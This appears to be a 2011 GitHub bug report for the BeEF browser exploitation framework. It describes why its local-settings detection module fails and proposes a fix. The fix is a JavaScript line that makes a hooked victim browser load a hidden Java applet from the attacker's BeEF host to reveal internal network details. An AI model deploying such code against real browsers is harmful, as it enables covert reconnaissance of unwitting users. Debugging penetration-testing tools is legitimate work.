beefproject/beef — Issue #444: The Detect Local Settings module does not work
Author: passbe
Created: 2011-12-10 23:21:39+00:00
State: open

[*] Forbidden:

Since updating to Java 1.6.0r26-b03 the Detect Local Settings module does not work (however it may have been an earlier revision of Java that broke it)

o In Firefox 5/6 the module never returns:

"Hooked browser x.x.x.x has executed instructions from command module 'Detect Local Settings'"

o In IE8 the module returns however the results are:

data: result=time out

o In Safari5 / Opera11 / Chrome13 the module returns however the results are:

data: internal_ip=FORBIDDEN&amp;internal_hostname=Cannot Lookup this IP

[*] Cross-Domain:

Furthermore the module will never work cross-domain (unless I misunderstand the BeEF AssetHandler.instance.bind functionality).

Line 21 of "./modules/network/detect_local_settings/module.rb" mounts the "Beeffeine.class" file to "BEEFHOST:BEEFPORT/Beeffeine.class" using:

BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/detect_local_settings/Beeffeine.class','/Beeffeine','class')

Line 27 of "./modules/network/detect_local_settings/command.js" calls the "Beeffeine.class" file at "HOOKEDHOST:HOOKEDPORT/Beeffeine.class" using:

content = "<APPLET code='Beeffeine' codebase='/Beeffeine.class' width=0 height=0 id=beeffeine name=beeffeine></APPLET>";

This line should read:

content = "<APPLET code='Beeffeine' codebase='http://"+beef.net.host+":"+beef.net.port+"/Beeffeine.class' width=0 height=0 id=beeffeine name=beeffeine></APPLET>";
Google Code Issue: http://code.google.com/p/beef/issues/detail?id=460